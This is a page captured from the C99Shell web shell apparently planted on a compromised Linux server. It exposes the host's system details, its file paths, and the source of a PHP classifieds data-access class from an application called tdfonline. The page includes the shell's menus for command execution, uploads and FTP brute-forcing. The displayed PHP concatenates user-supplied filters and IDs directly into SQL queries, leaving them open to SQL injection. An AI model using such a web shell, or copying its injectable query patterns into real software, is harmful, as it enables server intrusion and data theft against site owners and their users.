!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/tdfonline/php/datos/   drwxr-xr-x
Free 14.93 GB of 61.93 GB (24.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dt_clasificado.php (5.71 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class dt_clasificado extends tdfonline_datos_tabla
{

    function 
get_listado($filtro=array(), $order 'ORDER BY t_c.id_clasificado DESC'$limit='')
    {

        if (isset(
$filtro['id_clasificado'])) {
            
$where[] = "t_c.id_clasificado = '".$filtro['id_clasificado']."'";
        }

        if (isset(
$filtro['titulo'])) {
            
$where[] = "t_c.titulo ILIKE ".quote("%{$filtro['titulo']}%");
        }    

        if (isset(
$filtro['fecha_desde'])) {
            list(
$y,$m,$d)=explode("-",$filtro['fecha_desde']); //2011-03-31
            
$fecha_desde $y."-".$m."-".$d;
            
$where[] = "t_c.fecha_alta >= ".quote($fecha_desde);
        }
        if (isset(
$filtro['fecha_hasta'])) {
            list(
$y,$m,$d)=explode("-",$filtro['fecha_hasta']); //2011-03-31
            
$fecha_hasta $y."-".$m."-".$d." 23:59:59";
            
$where[] = "t_c.fecha_alta <= ".quote($fecha_hasta);
        }  

        if (isset(
$filtro['usuario_alta'])) {
            
$where[] = "t_c.usuario_alta = '".$filtro['usuario_alta']."'";
        }
        if (isset(
$filtro['estado'])){
          
$where[] = "t_c.estado ='".$filtro['estado']."'";
        }
        if (isset(
$filtro['id_rubro'])) {
            
$where[] = "t_r.id_rubro = '".$filtro['id_rubro']."'";
        }
        if (isset(
$filtro['id_subrubro'])) { 
            
$where[] = "t_c.id_subrubro = '".$filtro['id_subrubro']."'"//t_c.id_subrubro='".$filtro['id_subrubro']."'
        
}
        if (isset(
$filtro['id_region'])) { 
            
$where[] = "t_c.id_region = '".$filtro['id_region']."'";
        }

        
$sql="SELECT 
              t_r.rubro, 
              t_sr.subrubro,
              t_c.id_clasificado,                    
              t_r.id_rubro,
              t_c.id_subrubro,
              t_c.id_region,
              t_c.titulo, 
              t_c.descripcion, 
              t_c.foto,
              CASE
                    WHEN t_c.foto IS NOT NULL THEN '<img src=\"fotos_clasificados/'||t_c.foto||'\" height=\"100\" width=\"100\">'
                    ELSE ''
              END as url_foto,      
              t_c.estado, 
              t_c.usuario_alta, 
              t_c.fecha_alta,
              t_re.nombre as region
            FROM  subrubro as t_sr,  rubro as t_r,  clasificado as t_c, region as t_re
            WHERE t_c.id_subrubro = t_sr.id_subrubro
              AND t_sr.id_rubro = t_r.id_rubro 
              AND t_re.id_region = t_c.id_region
              
$order 
              
$limit $offset
            "
;

        if (
count($where)>0) {
            
$sql sql_concatenar_where($sql$where);
        }

        
$datos toba::db('tdfonline')->consultar($sql);              

        if(
count($datos)>0){
            foreach(
$datos as $key => $dato){

                switch(
$dato['estado']){

                    case 
'0':
                        
$datos[$key]['estado_descripcion'] = 'Pendiente';
                        break;

                    case 
'1':
                        
$datos[$key]['estado_descripcion'] = 'Aprobado';
                        break;

                    case 
'2':
                        
$datos[$key]['estado_descripcion'] = 'Rechazado';
                        break;

                    case 
'3':
                        
$datos[$key]['estado_descripcion'] = 'Cancelado';
                        break;

                    default:
                        
$datos[$key]['estado_descripcion'] = 'Sin definir';
                }
            }
        }
        return 
$datos;
    }


    function 
get_cantidad($filtro=array())
    {

        
$where = array();
        if (isset(
$filtro['estado'])){
          
$where[] = "t_c.estado ='".$filtro['estado']."'";
        }
        if (isset(
$filtro['id_subrubro'])) { 
            
$where[] = "t_c.id_subrubro = '".$filtro['id_subrubro']."'"//t_c.id_subrubro='".$filtro['id_subrubro']."'
        
}
        if (isset(
$filtro['id_region'])) { 
            
$where[] = "t_c.id_region = '".$filtro['id_region']."'";
        }

        
$sql "SELECT count(t_c.id_clasificado) as cantidad    
                FROM clasificado as t_c"


        if (
count($where)>0) {
                
$sql sql_concatenar_where($sql$where);
        }

        
$dato toba::db('tdfonline')->consultar_fila($sql);
        return 
$dato['cantidad'];
    }

    function 
get_foto($id_clasificado)
    {
        
$sql "SELECT foto FROM clasificado    WHERE id_clasificado= '$id_clasificado'; ";
        return 
toba::db('tdfonline')->consultar_fila($sql);
    }  

    function 
activar_desactivar($id_clasificado){

        
$sql "SELECT estado FROM clasificado WHERE id_clasificado = '$id_clasificado'";
        
$dato toba::db('tdfonline')->consultar_fila($sql); 

        if(
$dato['estado']== 'A'){
            
$estado 'I';
        }elseif(
$dato['estado']== 'I'){
            
$estado 'A';
        }else{
            return 
false;
        }

        
$sql "UPDATE clasificado SET estado = '$estado' WHERE id_clasificado = '$id_clasificado'";
        
toba::db('tdfonline')->ejecutar($sql);  
        return 
true;    
    }

    function 
set_lecturas($id_clasificado){

        
$sql "SELECT lecturas FROM clasificado WHERE id_clasificado = '$id_clasificado'";
        
$dato toba::db('tdfonline')->consultar_fila($sql); 

        
$lecturas $dato['lecturas'] + 1;

        
$sql "UPDATE clasificado SET lecturas = $lecturas WHERE id_clasificado = '$id_clasificado'";
        if(
toba::db('tdfonline')->ejecutar($sql)){
            return 
true;
        }else{
            return 
false;
        }
    
    }

    function 
set_estado($id_clasificado,$estado){
        
$sql "UPDATE clasificado SET estado = $estado WHERE id_clasificado = '$id_clasificado'";
        
toba::db('tdfonline')->ejecutar($sql);    
    }
        
    function 
eliminar_clasificado($id_clasificado)
    {
        
$sql "SELECT foto FROM clasificado WHERE id_clasificado = '$id_clasificado'";
        
$dato toba::db('tdfonline')->consultar_fila($sql); 

        
$sql "DELETE FROM clasificado WHERE id_clasificado = '$id_clasificado'";
        if (
toba::db('tdfonline')->ejecutar($sql)){

            if(!empty(
$dato['foto'])){
                
$folder_path "../www/fotos_clasificados/";
                
$nombre_archivo $dato['foto']; 
                
$destino=$folder_path.$nombre_archivo;
                if(
unlink($destino)){
                    return 
true;
                }else{
                    return 
false;
                }                
            }
         
        }else{
            return 
false;
        }
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.802 ]--